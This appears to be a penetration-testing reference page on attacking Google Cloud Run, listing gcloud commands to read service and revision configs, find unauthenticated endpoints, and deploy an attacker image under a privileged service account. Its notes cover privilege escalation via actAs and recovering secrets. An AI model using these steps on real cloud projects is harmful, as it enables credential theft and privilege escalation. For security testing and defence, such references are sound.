Cloud Run runs a container as an attached service account. Services expose an HTTPS endpoint (optionally public), and each revision carries its environment and secret references. Read access leaks those; deploy access runs your container as the service account.
Reading the service, revisions, and environment#
gcloud run services describe <svc> --region <r> \
--format='value(spec.template.spec.serviceAccountName)'
gcloud run services describe <svc> --region <r> --format=export # env vars, secret refs, image
gcloud run revisions list --service <svc> --region <r>
Unauthenticated invocation#
# a service with the allUsers invoker binding is reachable without creds
gcloud run services get-iam-policy <svc> --region <r>
curl -s https://<svc>-<hash>-<region>.a.run.app/
Running as the attached service account#
gcloud run deploy <svc> --region <r> --image <you>/img \
--service-account <privileged-sa>@<proj>.iam.gserviceaccount.com \
--allow-unauthenticated
# the container reads the SA token from the metadata server, as in Cloud Functions
Exploitation notes#
- Deploy requires
iam.serviceAccounts.actAson the attached SA, so this is a privilege-escalation path when that account outranks you. - Cloud Run jobs (
gcloud run jobs create/execute) run the same way without an HTTP endpoint, useful for a one-shot task under the SA. - Secret Manager references in a revision resolve at runtime; dumping the revision config plus the container environment recovers them.
Tools#
- gcloud (
run deploy,services describe,run jobs,get-iam-policy).